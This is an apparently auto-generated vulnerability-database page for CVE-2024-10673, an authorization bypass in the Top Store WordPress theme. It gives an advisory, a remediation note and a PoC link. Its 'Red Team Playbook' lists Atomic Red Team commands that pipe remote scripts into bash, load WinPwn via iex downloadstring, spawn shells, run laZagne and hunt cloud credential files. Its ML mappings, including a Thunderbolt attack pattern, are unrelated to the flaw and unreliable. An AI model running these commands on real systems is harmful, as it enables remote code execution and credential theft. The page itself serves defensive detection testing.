CVE-2024-10673
Overview
This vulnerability is an authorization bypass due to a missing capability check in the top_store_install_and_activate_callback() function within the themehunk Top Store WordPress theme. The flaw resides in the theme's plugin installation component, which fails to verify user privileges before allowing plugin installation actions. This lack of proper access control affects all versions up to and including 1.5.4, enabling unauthorized operations within the plugin management workflow.
Vulnerability Description
The Top Store theme for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the top_store_install_and_activate_callback() function in all versions up to, and including, 1.5.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins which can contain other exploitable vulnerabilities to elevate privileges and gain remote code execution.
Impact
An attacker with authenticated subscriber-level access can exploit this vulnerability to install arbitrary plugins, which may contain malicious code leading to privilege escalation and remote code execution. This enables attackers to compromise the WordPress environment beyond their initial access level. The attack requires no user interaction beyond authentication and can be executed over the network. According to the CVSS vector (AV:N/AC:L/PR:L/UI:N), the exploit is remotely exploitable with low attack complexity and no user interaction, resulting in high confidentiality, integrity, and availability impact.
Solution
To remediate this vulnerability, upgrade the themehunk Top Store WordPress theme to version 1.5.5 or later, where the missing capability check in the top_store_install_and_activate_callback() function has been implemented. Detailed patch information and update instructions are available in the WordPress theme changelog at https://themes.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=247826%40top-store&new=247826%40top-store&sfp_email=&sfph_mail=. Users should apply this update promptly to restore proper authorization controls.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Top Store theme for WordPress arises from a lack of proper capability checks within the top_store_install_and_activate_callback() function. This oversight allows authenticated users, even those with minimal permissions such as subscriber-level access, to install arbitrary plugins on the WordPress site. The absence of a robust authorization mechanism means that any authenticated user can exploit this flaw to introduce malicious plugins, which could subsequently contain additional vulnerabilities. The potential for privilege escalation and remote code execution is significant, as attackers can leverage these plugins to gain higher access levels and control over the affected WordPress installation.
Attack vectors for this vulnerability are straightforward and can be executed by any authenticated user with sufficient access rights. An attacker could simply log in to the WordPress site and invoke the vulnerable function to install a malicious plugin. Once the plugin is active, it could be designed to exploit other vulnerabilities within the WordPress ecosystem or the underlying server environment, allowing the attacker to execute arbitrary code. This scenario is particularly concerning as it does not require advanced technical skills; even users with basic knowledge of WordPress can carry out the attack. Moreover, the risk increases if the compromised site has elevated privileges or if it is part of a larger network of interconnected sites, potentially leading to a cascading effect across multiple installations.
The real-world impact of this vulnerability is profound, especially for businesses relying on WordPress for their online presence. The ability to install and activate arbitrary plugins can lead to severe security breaches, including data theft, website defacement, and service disruption. For e-commerce sites, the implications are even more dire, as attackers could manipulate transactions or steal sensitive customer information. The reputational damage from such incidents can be long-lasting, resulting in loss of customer trust and potential legal ramifications. Furthermore, organizations may face significant financial losses due to downtime, remediation efforts, and potential regulatory fines if sensitive data is compromised.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular audits of installed plugins and themes are essential to identify any unauthorized changes or installations. Employing security plugins that monitor file integrity and user activity can provide additional layers of protection. Furthermore, restricting user permissions based on the principle of least privilege is crucial; only users who absolutely need to install plugins should be granted such capabilities. Keeping WordPress core, themes, and plugins up to date is another vital practice, as updates often include security patches that can mitigate known vulnerabilities. Additionally, organizations should consider employing web application firewalls (WAFs) to filter and monitor HTTP requests, which can help block malicious attempts to exploit this vulnerability.
In conclusion, the vulnerability within the Top Store theme for WordPress presents a significant threat to the security of affected installations. The ease of exploitation, combined with the potential for severe consequences, underscores the importance of proactive security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and protect their digital assets.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-10673
Top Store <= 1.5.4 - Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation
|
Nxploited | 1 | 0 | 2025-03-12 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
50%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10673 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/80510ade-cb58-45b3-89f2-2cbbc5640cae?source=cve |
| themes.trac.wordpress.org |
GitHub CVE
|
https://themes.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=247826%40top-store&new=247826%40top-store&sfp_email=&sfph_mail= |